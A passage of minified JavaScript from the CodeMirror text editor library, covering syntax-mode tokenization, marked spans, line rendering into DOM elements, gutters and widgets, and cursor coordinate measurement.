Lt(e,t){this.state=e,this.lookAhead=t}var kt=function(e,t,n,r){this.state=t,this.doc=e,this.line=n,this.maxLookAhead=r||0,this.baseTokens=null,this.baseTokenPos=1};function Tt(t,n,r,e){for(var a=[t.state.modeGen],i={},u=(Et(t,n.text,t.doc.mode,r,function(e,t){a.push(e,t)},i,e),r.state),o=0;o<t.state.overlays.length;++o)!function(e){r.baseTokens=a;var o=t.state.overlays[e],l=1,s=0;r.state=!0,Et(t,n.text,o.mode,r,function(e,t){for(var n=l;s<e;){var r=a[l];e<r&&a.splice(l,1,e,a[l+1],r),l+=2,s=Math.min(e,r)}if(t)if(o.opaque)a.splice(n,l-n,e,"overlay "+t),l=n+2;else for(;n<l;n+=2){var i=a[n+1];a[n+1]=(i?i+" ":"")+"overlay "+t}},i),r.state=u,r.baseTokens=null,r.baseTokenPos=1}(o);return{styles:a,classes:i.bgClass||i.textClass?i:null}}function Mt(e,t,n){var r,i,o;return t.styles&&t.styles[0]==e.state.modeGen||(r=Nt(e,D(t)),i=t.text.length>e.options.maxHighlightLength&&ut(e.doc.mode,r.state),o=Tt(e,t,r),i&&(r.state=i),t.stateAfter=r.save(!i),t.styles=o.styles,o.classes?t.styleClasses=o.classes:t.styleClasses&&(t.styleClasses=null),n===e.doc.highlightFrontier&&(e.doc.modeFrontier=Math.max(e.doc.modeFrontier,++e.doc.highlightFrontier))),t.styles}function Nt(n,r,e){var t,i,o,l=n.doc,s=n.display;return l.mode.startState?(i=(t=function(e,t,n){for(var r,i,o=e.doc,l=n?-1:t-(e.doc.mode.innerMode?1e3:100),s=t;l<s;--s){if(s<=o.first)return o.first;var a=A(o,s-1),u=a.stateAfter;if(u&&(!n||s+(u instanceof Lt?u.lookAhead:0)<=o.modeFrontier))return s;u=ue(a.text,null,e.options.tabSize);(null==i||u<r)&&(i=s-1,r=u)}return i}(n,r,e))>l.first&&A(l,t-1).stateAfter,o=i?kt.fromSaved(l,i,t):new kt(l,ht(l.mode),t),l.iter(t,r,function(e){Ot(n,e.text,o);var t=o.line;e.stateAfter=t==r-1||t%5==0||t>=s.viewFrom&&t<s.viewTo?o.save():null,o.nextLine()}),e&&(l.modeFrontier=o.line),o):new kt(l,!0,r)}function Ot(e,t,n,r){var i=e.doc.mode,o=new g(t,e.options.tabSize,n);for(o.start=o.pos=r||0,""==t&&At(i,n.state);!o.eol();)Dt(i,o,n.state),o.start=o.pos}function At(e,t){return e.blankLine?e.blankLine(t):e.innerMode&&(e=ct(e,t)).mode.blankLine?e.mode.blankLine(e.state):void 0}function Dt(e,t,n,r){for(var i=0;i<10;i++){r&&(r[0]=ct(e,n).mode);var o=e.token(t,n);if(t.pos>t.start)return o}throw new Error("Mode "+e.name+" failed to advance stream.")}kt.prototype.lookAhead=function(e){var t=this.doc.getLine(this.line+e);return null!=t&&e>this.maxLookAhead&&(this.maxLookAhead=e),t},kt.prototype.baseToken=function(e){if(!this.baseTokens)return null;for(;this.baseTokens[this.baseTokenPos]<=e;)this.baseTokenPos+=2;var t=this.baseTokens[this.baseTokenPos+1];return{type:t&&t.replace(/( |^)overlay .*/,""),size:this.baseTokens[this.baseTokenPos]-e}},kt.prototype.nextLine=function(){this.line++,0<this.maxLookAhead&&this.maxLookAhead--},kt.fromSaved=function(e,t,n){return t instanceof Lt?new kt(e,ut(e.mode,t.state),n,t.lookAhead):new kt(e,ut(e.mode,t),n)},kt.prototype.save=function(e){e=!1!==e?ut(this.doc.mode,this.state):this.state;return 0<this.maxLookAhead?new Lt(e,this.maxLookAhead):e};var Wt=function(e,t,n){this.start=e.start,this.end=e.pos,this.string=e.current(),this.type=t||null,this.state=n};function Ht(e,t,n,r){var i,o,l=e.doc,s=l.mode,a=A(l,(t=F(l,t)).line),u=Nt(e,t.line,n),c=new g(a.text,e.options.tabSize,u);for(r&&(o=[]);(r||c.pos<t.ch)&&!c.eol();)c.start=c.pos,i=Dt(s,c,u.state),r&&o.push(new Wt(c,i,ut(l.mode,u.state)));return r?o:new Wt(c,i,u.state)}function Ft(e,t){if(e)for(;;){var n=e.match(/(?:^|\s+)line-(background-)?(\S+)/);if(!n)break;e=e.slice(0,n.index)+e.slice(n.index+n[0].length);var r=n[1]?"bgClass":"textClass";null==t[r]?t[r]=n[2]:new RegExp("(?:^|\\s)"+n[2]+"(?:$|\\s)").test(t[r])||(t[r]+=" "+n[2])}return e}function Et(e,t,n,r,i,o,l){var s=n.flattenSpans,a=(null==s&&(s=e.options.flattenSpans),0),u=null,c=new g(t,e.options.tabSize,r),h=e.options.addModeClass&&[null];for(""==t&&Ft(At(n,r.state),o);!c.eol();){var d,f=c.pos>e.options.maxHighlightLength?(s=!1,l&&Ot(e,t,r,c.pos),c.pos=t.length,null):Ft(Dt(n,c,r.state,h),o);if(h&&(d=h[0].name)&&(f="m-"+(f?d+" "+f:d)),!s||u!=f){for(;a<c.start;)i(a=Math.min(c.start,a+5e3),u);u=f}c.start=c.pos}for(;a<c.pos;){var p=Math.min(c.pos,a+5e3);i(p,u),a=p}}var Pt=!1,It=!1;function zt(e,t,n){this.marker=e,this.from=t,this.to=n}function Rt(e,t){if(e)for(var n=0;n<e.length;++n){var r=e[n];if(r.marker==t)return r}}function Bt(e,t){if(t.full)return null;var n=mt(e,t.from.line)&&A(e,t.from.line).markedSpans,e=mt(e,t.to.line)&&A(e,t.to.line).markedSpans;if(!n&&!e)return null;var r=t.from.ch,i=t.to.ch,o=0==H(t.from,t.to),l=function(e,t,n){var r;if(e)for(var i=0;i<e.length;++i){var o,l=e[i],s=l.marker;!(null==l.from||(s.inclusiveLeft?l.from<=t:l.from<t))&&(l.from!=t||"bookmark"!=s.type||n&&l.marker.insertLeft)||(o=null==l.to||(s.inclusiveRight?l.to>=t:l.to>t),(r=r||[]).push(new zt(s,l.from,o?null:l.to)))}return r}(n,r,o),s=function(e,t,n){var r;if(e)for(var i=0;i<e.length;++i){var o,l=e[i],s=l.marker;!(null==l.to||(s.inclusiveRight?l.to>=t:l.to>t))&&(l.from!=t||"bookmark"!=s.type||n&&!l.marker.insertLeft)||(o=null==l.from||(s.inclusiveLeft?l.from<=t:l.from<t),(r=r||[]).push(new zt(s,o?null:l.from-t,null==l.to?null:l.to-t)))}return r}(e,i,o),a=1==t.text.length,u=z(t.text).length+(a?r:0);if(l)for(var c=0;c<l.length;++c){var h,d=l[c];null==d.to&&((h=Rt(s,d.marker))?a&&(d.to=null==h.to?null:h.to+u):d.to=r)}if(s)for(var f=0;f<s.length;++f){var p=s[f];null!=p.to&&(p.to+=u),null==p.from?Rt(l,p.marker)||(p.from=u,a&&(l=l||[]).push(p)):(p.from+=u,a&&(l=l||[]).push(p))}l=l&&Gt(l),s&&s!=l&&(s=Gt(s));var g=[l];if(!a){var m,v=t.text.length-2;if(0<v&&l)for(var y=0;y<l.length;++y)null==l[y].to&&(m=m||[]).push(new zt(l[y].marker,null,null));for(var b=0;b<v;++b)g.push(m);g.push(s)}return g}function Gt(e){for(var t=0;t<e.length;++t){var n=e[t];null!=n.from&&n.from==n.to&&!1!==n.marker.clearWhenEmpty&&e.splice(t--,1)}return e.length?e:null}function Ut(e){var t=e.markedSpans;if(t){for(var n=0;n<t.length;++n)t[n].marker.detachLine(e);e.markedSpans=null}}function Vt(e,t){if(t){for(var n=0;n<t.length;++n)t[n].marker.attachLine(e);e.markedSpans=t}}function Kt(e){return e.inclusiveLeft?-1:0}function jt(e){return e.inclusiveRight?1:0}function Xt(e,t){var n,r,i=e.lines.length-t.lines.length;return 0!=i?i:(i=e.find(),n=t.find(),(r=H(i.from,n.from)||Kt(e)-Kt(t))?-r:H(i.to,n.to)||jt(e)-jt(t)||t.id-e.id)}function Yt(e,t){var n,r=It&&e.markedSpans;if(r)for(var i,o=0;o<r.length;++o)(i=r[o]).marker.collapsed&&null==(t?i.from:i.to)&&(!n||Xt(n,i.marker)<0)&&(n=i.marker);return n}function _t(e){return Yt(e,!0)}function $t(e){return Yt(e,!1)}function qt(e,t,n,r,i){var e=A(e,t),o=It&&e.markedSpans;if(o)for(var l=0;l<o.length;++l){var s=o[l];if(s.marker.collapsed){var a=s.marker.find(0),u=H(a.from,n)||Kt(s.marker)-Kt(i),c=H(a.to,r)||jt(s.marker)-jt(i);if(!(0<=u&&c<=0||u<=0&&0<=c)&&(u<=0&&(s.marker.inclusiveRight&&i.inclusiveLeft?0<=H(a.to,n):0<H(a.to,n))||0<=u&&(s.marker.inclusiveRight&&i.inclusiveLeft?H(a.from,r)<=0:H(a.from,r)<0)))return 1}}}function Zt(e){for(var t;t=_t(e);)e=t.find(-1,!0).line;return e}function Qt(e,t){var e=A(e,t),n=Zt(e);return e==n?t:D(n)}function Jt(e,t){if(t>e.lastLine())return t;var n,r=A(e,t);if(!en(e,r))return t;for(;n=$t(r);)r=n.find(1,!0).line;return D(r)+1}function en(e,t){var n=It&&t.markedSpans;if(n)for(var r,i=0;i<n.length;++i)if((r=n[i]).marker.collapsed){if(null==r.from)return!0;if(!r.marker.widgetNode&&0==r.from&&r.marker.inclusiveLeft&&function e(t,n,r){{var i;if(null==r.to)return i=r.marker.find(1,!0),e(t,i.line,Rt(i.line.markedSpans,r.marker))}if(r.marker.inclusiveRight&&r.to==n.text.length)return!0;for(var o=void 0,l=0;l<n.markedSpans.length;++l)if((o=n.markedSpans[l]).marker.collapsed&&!o.marker.widgetNode&&o.from==r.to&&(null==o.to||o.to!=r.from)&&(o.marker.inclusiveLeft||r.marker.inclusiveRight)&&e(t,n,o))return!0}(e,t,r))return!0}}function tn(e){for(var t=0,n=(e=Zt(e)).parent,r=0;r<n.lines.length;++r){var i=n.lines[r];if(i==e)break;t+=i.height}for(var o=n.parent;o;o=(n=o).parent)for(var l=0;l<o.children.length;++l){var s=o.children[l];if(s==n)break;t+=s.height}return t}function nn(e){if(0==e.height)return 0;for(var t,n=e.text.length,r=e;t=_t(r);){var i=t.find(0,!0),r=i.from.line;n+=i.from.ch-i.to.ch}for(r=e;t=$t(r);)var o=t.find(0,!0),n=(n-=r.text.length-o.from.ch)+((r=o.to.line).text.length-o.to.ch);return n}function rn(e){var n=e.display,e=e.doc;n.maxLine=A(e,e.first),n.maxLineLength=nn(n.maxLine),n.maxLineChanged=!0,e.iter(function(e){var t=nn(e);t>n.maxLineLength&&(n.maxLineLength=t,n.maxLine=e)})}var on=function(e,t,n){this.text=e,Vt(this,t),this.height=n?n(this):1};on.prototype.lineNo=function(){return D(this)},Ke(on);var ln={},sn={};function an(e,t){return!e||/^\s*$/.test(e)?null:(t=t.addModeClass?sn:ln)[e]||(t[e]=e.replace(/\S+/g,"cm-$&"))}function un(e,t){var n=ee("span",null,null,x?"padding-right: .1px":null),r={pre:ee("pre",[n],"CodeMirror-line"),content:n,col:0,pos:0,cm:e,trailingSpace:!1,splitSpaces:e.getOption("lineWrapping")};t.measure={};for(var i,o,l=0;l<=(t.rest?t.rest.length:0);l++){var s=l?t.rest[l-1]:t.line,a=void 0,u=(r.pos=0,r.addToken=hn,u=e.display.measure,o=i=void 0,(null!=Ze?Ze:(o=y(u,document.createTextNode("AخA")),i=oe(o,0,1).getBoundingClientRect(),o=oe(o,1,2).getBoundingClientRect(),J(u),i&&i.left!=i.right&&(Ze=o.right-i.right<3)))&&(a=Re(s,e.doc.direction))&&(r.addToken=function(h,d){return function(e,t,n,r,i,o,l){n=n?n+" cm-force-border":"cm-force-border";for(var s=e.pos,a=s+t.length;;){for(var u=void 0,c=0;c<d.length&&!((u=d[c]).to>s&&u.from<=s);c++);if(u.to>=a)return h(e,t,n,r,i,o,l);h(e,t.slice(0,u.to-s),n,r,null,o,l),r=null,t=t.slice(u.to-s),s=u.to}}}(r.addToken,a)),r.map=[],t!=e.display.externalMeasured&&D(s));!function(e,t,n){var r=e.markedSpans,i=e.text,o=0;if(r)for(var l,s,a,u,c,h,d,f=i.length,p=0,g=1,m="",v=0;;){if(v==p){a=u=c=s="",h=d=null,v=1/0;for(var y=[],b=void 0,w=0;w<r.length;++w){var x=r[w],C=x.marker;if("bookmark"==C.type&&x.from==p&&C.widgetNode)y.push(C);else if(x.from<=p&&(null==x.to||x.to>p||C.collapsed&&x.to==p&&x.from==p)){if(null!=x.to&&x.to!=p&&v>x.to&&(v=x.to,u=""),C.className&&(a+=" "+C.className),C.css&&(s=(s?s+";":"")+C.css),C.startStyle&&x.from==p&&(c+=" "+C.startStyle),C.endStyle&&x.to==v&&(b=b||[]).push(C.endStyle,x.to),C.title&&((d=d||{}).title=C.title),C.attributes)for(var S in C.attributes)(d=d||{})[S]=C.attributes[S];C.collapsed&&(!h||Xt(h.marker,C)<0)&&(h=x)}else x.from>p&&v>x.from&&(v=x.from)}if(b)for(var L=0;L<b.length;L+=2)b[L+1]==v&&(u+=" "+b[L]);if(!h||h.from==p)for(var k=0;k<y.length;++k)dn(t,0,y[k]);if(h&&(h.from||0)==p){if(dn(t,(null==h.to?f+1:h.to)-p,h.marker,null==h.from),null==h.to)return;h.to==p&&(h=!1)}}if(f<=p)break;for(var T=Math.min(f,v);;){if(m){var M,N=p+m.length;if(h||(M=T<N?m.slice(0,T-p):m,t.addToken(t,M,l?l+a:a,c,p+M.length==v?u:"",s,d)),T<=N){m=m.slice(T-p),p=T;break}p=N,c=""}m=i.slice(o,o=n[g++]),l=an(n[g++],t.cm.options)}}else for(var O=1;O<n.length;O+=2)t.addToken(t,i.slice(o,o=n[O]),an(n[O+1],t.cm.options))}(s,r,Mt(e,s,u)),s.styleClasses&&(s.styleClasses.bgClass&&(r.bgClass=ie(s.styleClasses.bgClass,r.bgClass||"")),s.styleClasses.textClass)&&(r.textClass=ie(s.styleClasses.textClass,r.textClass||"")),0==r.map.length&&r.map.push(0,0,r.content.appendChild((o=e.display.measure,i=void 0,(o=(qe=null==qe&&(i=M("span","​"),y(o,M("span",[i,document.createTextNode("x")])),0!=o.firstChild.offsetHeight)?i.offsetWidth<=1&&2<i.offsetHeight&&!(w&&v<8):qe)?M("span","​"):M("span"," ",null,"display: inline-block; width: 1px; margin-right: -1px")).setAttribute("cm-text",""),o))),0==l?(t.measure.map=r.map,t.measure.cache={}):((t.measure.maps||(t.measure.maps=[])).push(r.map),(t.measure.caches||(t.measure.caches=[])).push({}))}return x&&(n=r.content.lastChild,/\bcm-tab\b/.test(n.className)||n.querySelector&&n.querySelector(".cm-tab"))&&(r.content.className="cm-tab-wrap-hack"),N(e,"renderLine",e,t.line,r.pre),r.pre.className&&(r.textClass=ie(r.pre.className,r.textClass||"")),r}function cn(e){var t=M("span","•","cm-invalidchar");return t.title="\\u"+e.charCodeAt(0).toString(16),t.setAttribute("aria-label",t.title),t}function hn(e,t,n,r,i,o,l){if(t){var s=e.splitSpaces?function(e,t){if(1<e.length&&!/  /.test(e))return e;for(var n=t,r="",i=0;i<e.length;i++){var o=e.charAt(i);" "!=o||!n||i!=e.length-1&&32!=e.charCodeAt(i+1)||(o=" "),r+=o,n=" "==o}return r}(t,e.trailingSpace):t,a=e.cm.state.specialChars,u=!1;if(a.test(t))for(var c=document.createDocumentFragment(),h=0;;){a.lastIndex=h;var d=a.exec(t),f=d?d.index-h:t.length-h;if(f&&(p=document.createTextNode(s.slice(h,h+f)),w&&v<9?c.appendChild(M("span",[p])):c.appendChild(p),e.map.push(e.pos,e.pos+f,p),e.col+=f,e.pos+=f),!d)break;h+=1+f;var p=void 0;"\t"==d[0]?(f=(f=e.cm.options.tabSize)-e.col%f,(p=c.appendChild(M("span",ye(f),"cm-tab"))).setAttribute("role","presentation"),p.setAttribute("cm-text","\t"),e.col+=f):("\r"==d[0]||"\n"==d[0]?(p=c.appendChild(M("span","\r"==d[0]?"␍":"␤","cm-invalidchar"))).setAttribute("cm-text",d[0]):((p=e.cm.options.specialCharPlaceholder(d[0])).setAttribute("cm-text",d[0]),w&&v<9?c.appendChild(M("span",[p])):c.appendChild(p)),e.col+=1),e.map.push(e.pos,e.pos+1,p),e.pos++}else e.col+=t.length,c=document.createTextNode(s),e.map.push(e.pos,e.pos+t.length,c),w&&v<9&&(u=!0),e.pos+=t.length;if(e.trailingSpace=32==s.charCodeAt(t.length-1),n||r||i||u||o||l){var u=n||"",g=(r&&(u+=r),i&&(u+=i),M("span",[c],u,o));if(l)for(var m in l)l.hasOwnProperty(m)&&"style"!=m&&"class"!=m&&g.setAttribute(m,l[m]);return e.content.appendChild(g)}e.content.appendChild(c)}}function dn(e,t,n,r){var i=!r&&n.widgetNode;i&&e.map.push(e.pos,e.pos+t,i),!r&&e.cm.display.input.needsContentAttribute&&(i=i||e.content.appendChild(document.createElement("span"))).setAttribute("cm-marker",n.id),i&&(e.cm.display.input.setUneditable(i),e.content.appendChild(i)),e.pos+=t,e.trailingSpace=!1}function fn(e,t,n){this.line=t,this.rest=function(e){for(var t,n;t=$t(e);)e=t.find(1,!0).line,(n=n||[]).push(e);return n}(t),this.size=this.rest?D(z(this.rest))-n+1:1,this.node=this.text=null,this.hidden=en(e,t)}function pn(e,t,n){for(var r=[],i=t;i<n;i=l){var o=new fn(e.doc,A(e.doc,i),i),l=i+o.size;r.push(o)}return r}var gn=null;var mn=null;function b(e,t){var n=Ge(e,t);if(n.length)for(var r,i=Array.prototype.slice.call(arguments,2),o=(gn?r=gn.delayedCallbacks:mn?r=mn:(r=mn=[],setTimeout(vn,0)),0);o<n.length;++o)!function(e){r.push(function(){return n[e].apply(null,i)})}(o)}function vn(){var e=mn;mn=null;for(var t=0;t<e.length;++t)e[t]()}function yn(e,t,n,r){for(var i=0;i<t.changes.length;i++){var o=t.changes[i];if("text"==o){u=a=s=l=void 0;var l=e,s=t,a=s.text.className,u=wn(l,s);s.text==s.node&&(s.node=u.pre),s.text.parentNode.replaceChild(u.pre,s.text),s.text=u.pre,u.bgClass!=s.bgClass||u.textClass!=s.textClass?(s.bgClass=u.bgClass,s.textClass=u.textClass,xn(l,s)):a&&(s.text.className=a)}else if("gutter"==o)Cn(e,t,n,r);else if("class"==o)xn(e,t);else if("widget"==o){f=d=h=l=c=u=void 0;var u=e,c=t,l=r;c.alignable&&(c.alignable=null);for(var h=Z("CodeMirror-linewidget"),d=c.node.firstChild,f=void 0;d;d=f)f=d.nextSibling,h.test(d.className)&&c.node.removeChild(d);Sn(u,c,l)}}t.changes=null}function bn(e){return e.node==e.text&&(e.node=M("div",null,null,"position: relative"),e.text.parentNode&&e.text.parentNode.replaceChild(e.node,e.text),e.node.appendChild(e.text),w)&&v<8&&(e.node.style.zIndex=2),e.node}function wn(e,t){var n=e.display.externalMeasured;return n&&n.line==t.line?(e.display.externalMeasured=null,t.measure=n.measure,n.built):un(e,t)}function xn(e,t){e=e,(i=(n=t).bgClass?n.bgClass+" "+(n.line.bgClass||""):n.line.bgClass)&&(i+=" CodeMirror-linebackground"),n.background?i?n.background.className=i:(n.background.parentNode.removeChild(n.background),n.background=null):i&&(r=bn(n),n.background=r.insertBefore(M("div",null,i),r.firstChild),e.display.input.setUneditable(n.background)),t.line.wrapClass?bn(t).className=t.line.wrapClass:t.node!=t.text&&(t.node.className="");var n,r,i=t.textClass?t.textClass+" "+(t.line.textClass||""):t.line.textClass;t.text.className=i||""}function Cn(e,t,n,r){t.gutter&&(t.node.removeChild(t.gutter),t.gutter=null),t.gutterBackground&&(t.node.removeChild(t.gutterBackground),t.gutterBackground=null),t.line.gutterClass&&(o=bn(t),t.gutterBackground=M("div",null,"CodeMirror-gutter-background "+t.line.gutterClass,"left: "+(e.options.fixedGutter?r.fixedPos:-r.gutterTotalWidth)+"px; width: "+r.gutterTotalWidth+"px"),e.display.input.setUneditable(t.gutterBackground),o.insertBefore(t.gutterBackground,t.text));var i=t.line.gutterMarkers;if(e.options.lineNumbers||i){var o=bn(t),l=t.gutter=M("div",null,"CodeMirror-gutter-wrapper","left: "+(e.options.fixedGutter?r.fixedPos:-r.gutterTotalWidth)+"px");if(e.display.input.setUneditable(l),o.insertBefore(l,t.text),t.line.gutterClass&&(l.className+=" "+t.line.gutterClass),!e.options.lineNumbers||i&&i["CodeMirror-linenumbers"]||(t.lineNumber=l.appendChild(M("div",vt(e.options,n),"CodeMirror-linenumber CodeMirror-gutter-elt","left: "+r.gutterLeft["CodeMirror-linenumbers"]+"px; width: "+e.display.lineNumInnerWidth+"px"))),i)for(var s=0;s<e.display.gutterSpecs.length;++s){var a=e.display.gutterSpecs[s].className,u=i.hasOwnProperty(a)&&i[a];u&&l.appendChild(M("div",[u],"CodeMirror-gutter-elt","left: "+r.gutterLeft[a]+"px; width: "+r.gutterWidth[a]+"px"))}}}function Sn(e,t,n){if(Ln(e,t.line,t,n,!0),t.rest)for(var r=0;r<t.rest.length;r++)Ln(e,t.rest[r],t,n,!1)}function Ln(e,t,n,r,i){if(t.widgets)for(var o=bn(n),l=0,s=t.widgets;l<s.length;++l){var a=s[l],u=M("div",[a.node],"CodeMirror-linewidget"+(a.className?" "+a.className:"")),c=(a.handleMouseEvents||u.setAttribute("cm-ignore-events","true"),f=d=h=c=void 0,a),h=u,d=n,f=r;c.noHScroll&&((d.alignable||(d.alignable=[])).push(h),d=f.wrapperWidth,h.style.left=f.fixedPos+"px",c.coverGutter||(d-=f.gutterTotalWidth,h.style.paddingLeft=f.gutterTotalWidth+"px"),h.style.width=d+"px"),c.coverGutter&&(h.style.zIndex=5,h.style.position="relative",c.noHScroll||(h.style.marginLeft=-f.gutterTotalWidth+"px")),e.display.input.setUneditable(u),i&&a.above?o.insertBefore(u,n.gutter||n.text):o.appendChild(u),b(a,"redraw")}}function kn(e){var t,n;return null!=e.height?e.height:(t=e.doc.cm)?(te(document.body,e.node)||(n="position: relative;",e.coverGutter&&(n+="margin-left: -"+t.display.gutters.offsetWidth+"px;"),e.noHScroll&&(n+="width: "+t.display.wrapper.clientWidth+"px;"),y(t.display.measure,M("div",[e.node],null,n))),e.height=e.node.parentNode.offsetHeight):0}function Tn(e,t){for(var n=_e(t);n!=e.wrapper;n=n.parentNode)if(!n||1==n.nodeType&&"true"==n.getAttribute("cm-ignore-events")||n.parentNode==e.sizer&&n!=e.mover)return 1}function Mn(e){return e.lineSpace.offsetTop}function Nn(e){return e.mover.offsetHeight-e.lineSpace.offsetHeight}function On(e){var t;return e.cachedPaddingH||(t=y(e.measure,M("pre","x","CodeMirror-line-like")),t=window.getComputedStyle?window.getComputedStyle(t):t.currentStyle,t={left:parseInt(t.paddingLeft),right:parseInt(t.paddingRight)},isNaN(t.left)||isNaN(t.right)||(e.cachedPaddingH=t),t)}function An(e){return he-e.display.nativeBarWidth}function Dn(e){return e.display.scroller.clientWidth-An(e)-e.display.barWidth}function Wn(e){return e.display.scroller.clientHeight-An(e)-e.display.barHeight}function Hn(e,t,n){if(e.line==t)return{map:e.measure.map,cache:e.measure.cache};for(var r=0;r<e.rest.length;r++)if(e.rest[r]==t)return{map:e.measure.maps[r],cache:e.measure.caches[r]};for(var i=0;i<e.rest.length;i++)if(D(e.rest[i])>n)return{map:e.measure.maps[i],cache:e.measure.caches[i],before:!0}}function Fn(e,t,n,r){return In(e,Pn(e,t),n,r)}function En(e,t){return t>=e.display.viewFrom&&t<e.display.viewTo?e.display.view[dr(e,t)]:(e=e.display.externalMeasured)&&t>=e.lineN&&t<e.lineN+e.size?e:void 0}function Pn(e,t){var n,r,i=D(t),o=En(e,i),e=(o&&!o.text?o=null:o&&o.changes&&(yn(e,o,i,sr(e)),e.curOp.forceUpdate=!0),o||(e=e,r=D(n=Zt(n=t)),(n=e.display.externalMeasured=new fn(e.doc,n,r)).lineN=r,r=n.built=un(e,n),n.text=r.pre,y(e.display.lineMeasure,r.pre),o=n),Hn(o,t,i));return{line:t,view:o,rect:null,map:e.map,cache:e.cache,before:e.before,hasHeights:!1}}function In(e,t,n,r,i){var o,l=(n=t.before?-1:n)+(r||"");if(t.cache.hasOwnProperty(l))o=t.cache[l];else{if(t.rect||(t.rect=t.view.text.getBoundingClientRect()),!t.hasHeights){var s=e,a=t.view,u=t.rect,c=s.options.lineWrapping,s=c&&Dn(s);if(!a.measure.heights||c&&a.measure.width!=s){var h=a.measure.heights=[];if(c){a.measure.width=s;for(var d=a.text.firstChild.getClientRects(),f=0;f<d.length-1;f++){var p=d[f],g=d[f+1];2<Math.abs(p.bottom-g.bottom)&&h.push((p.bottom+g.top)/2-u.top)}}h.push(u.bottom-u.top)}t.hasHeights=!0}(o=function(e,t,n,r){var i,o=Bn(t.map,n,r),l=o.node,s=o.start,a=o.end,u=o.collapse;if(3==l.nodeType){for(var c=0;c<4;c++){for(;s&&Me(t.line.text.charAt(o.coverStart+s));)--s;for(;o.coverStart+a<o.coverEnd&&Me(t.line.text.charAt(o.coverStart+a));)++a;if((i=w&&v<9&&0==s&&a==o.coverEnd-o.coverStart?l.parentNode.getBoundingClientRect():function(e,t){var n=Rn;if("left"==t)for(var r=0;r<e.length&&(n=e[r]).left==n.right;r++);else for(var i=e.length-1;0<=i&&(n=e[i]).left==n.right;i--);return n}(oe(l,s,a).getClientRects(),r)).left||i.right||0==s)break;a=s,s-=1,u="right"}w&&v<11&&(i=function(e,t){var n;return window.screen&&null!=screen.logicalXDPI&&screen.logicalXDPI!=screen.deviceXDPI&&function(e){var t;return null!=nt?nt:(t=(e=y(e,M("span","x"))).getBoundingClientRect(),e=oe(e,0,1).getBoundingClientRect(),nt=1<Math.abs(t.left-e.left))}(e)?(e=screen.logicalXDPI/screen.deviceXDPI,n=screen.logicalYDPI/screen.deviceYDPI,{left:t.left*e,right:t.right*e,top:t.top*n,bottom:t.bottom*n}):t}(e.display.measure,i))}else 0<s&&(u=r="right"),i=e.options.lineWrapping&&1<(n=l.getClientRects()).length?n["right"==r?n.length-1:0]:l.getBoundingClientRect();!(w&&v<9)||s||i&&(i.left||i.right)||(n=l.parentNode.getClientRects()[0],i=n?{left:n.left,right:n.left+lr(e.display),top:n.top,bottom:n.bottom}:Rn);for(var n=i.top-t.rect.top,h=i.bottom-t.rect.top,d=(n+h)/2,f=t.view.measure.heights,p=0;p<f.length-1&&!(d<f[p]);p++);var g=p?f[p-1]:0,m=f[p],g={left:("right"==u?i.right:i.left)-t.rect.left,right:("left"==u?i.left:i.right)-t.rect.left,top:g,bottom:m};i.left||i.right||(g.bogus=!0);e.options.singleCursorHeightPerLine||(g.rtop=n,g.rbottom=h);return g}(e,t,n,r)).bogus||(t.cache[l]=o)}return{left:o.left,right:o.right,top:i?o.rtop:o.top,bottom:i?o.rbottom:o.bottom}}var zn,Rn={left:0,right:0,top:0,bottom:0};function Bn(e,t,n){for(var r,i,o,l,s,a,u=0;u<e.length;u+=3)if(s=e[u],a=e[u+1],t<s?(i=0,o=1,l="left"):t<a?o=(i=t-s)+1:(u==e.length-3||t==a&&e[u+3]>t)&&(i=(o=a-s)-1,a<=t)&&(l="right"),null!=i){if(r=e[u+2],s==a&&n==(r.insertLeft?"left":"right")&&(l=n),"left"==n&&0==i)for(;u&&e[u-2]==e[u-3]&&e[u-1].insertLeft;)r=e[2+(u-=3)],l="left";if("right"==n&&i==a-s)for(;u<e.length-3&&e[u+3]==e[u+4]&&!e[u+5].insertLeft;)r=e[(u+=3)+2],l="right";break}return{node:r,start:i,end:o,collapse:l,coverStart:s,coverEnd:a}}function Gn(e){if(e.measure&&(e.measure.cache={},e.measure.heights=null,e.rest))for(var t=0;t<e.rest.length;t++)e.measure.caches[t]={}}function Un(e){e.display.externalMeasure=null,J(e.display.lineMeasure);for(var t=0;t<e.display.view.length;t++)Gn(e.display.view[t])}function Vn(e){Un(e),e.display.cachedCharWidth=e.display.cachedTextHeight=e.display.cachedPaddingH=null,e.options.lineWrapping||(e.display.maxLineChanged=!0),e.display.lineNumChars=null}function Kn(){return c&&X?-(document.body.getBoundingClientRect().left-parseInt(getComputedStyle(document.body).marginLeft)):window.pageXOffset||(document.documentElement||document.body).scrollLeft}function jn(){return c&&X?-(document.body.getBoundingClientRect().top-parseInt(getComputedStyle(document.body).marginTop)):window.pageYOffset||(document.documentElement||document.body).scrollTop}function Xn(e){var t=0;if(e.widgets)for(var n=0;n<e.widgets.length;++n)e.widgets[n].above&&(t+=kn(e.widgets[n]));return t}function Yn(e,t,n,r,i){return i||(i=Xn(t),n.top+=i,n.bottom+=i),"line"!=r&&(r=r||"local",i=tn(t),"local"==r?i+=Mn(e.display):i-=e.display.viewOffset,"page"!=r&&"window"!=r||(i+=(t=e.display.lineSpace.getBoundingClientRect()).top+("window"==r?0:jn()),e=t.left+("window"==r?0:Kn()),n.left+=e,n.right+=e),n.top+=i,n.bottom+=i),n}function _n(e,t,n){var r;return"div"==n?t:(r=t.left,t=t.top,"page"==n?(r-=Kn(),t-=jn()):"local"!=n&&n||(r+=(n=e.display.sizer.getBoundingClientRect()).left,t+=n.top),{left:r-(n=e.display.lineSpace.getBoundingClientRect()).left,top:t-n.top})}function $n(e,t,n,r,i){return Yn(e,r=r||A(e.doc,t.line),Fn(e,r,t.ch,i),n)}function qn(n,e,r,i,o,l){function s(e,t){e=In(n,o,e,t?"right":"left",l);return t?e.left=e.right:e.right=e.left,Yn(n,i,e,r)}i=i||A(n.doc,e.line),o=o||Pn(n,i);var t,a,u=Re(i,n.doc.direction),c=e.ch,e=e.sticky;return c>=i.text.length?(c=i.text.length,e="before"):c<=0&&(c=0,e="after"),u?(a=De(u,c,e),t=Ae,a=h(c,a,"before"==e),null!=t&&(a.other=h(c,t,"before"!=e)),a):s("before"==e?c-1:c,"before"==e);function h(e,t,n){return s(n?e-1:e,1==u[t].level!=n)}}function Zn(e,t){var n=0,t=(t=F(e.doc,t),e.options.lineWrapping||(n=lr(e.display)*t.ch),A(e.doc,t.line)),e=tn(t)+Mn(e.display);return{left:n,right:n,top:e,bottom:e+t.height}}function Qn(e,t,n,r,i){e=W(e,t,n);return e.xRel=i,r&&(e.outside=r),e}function 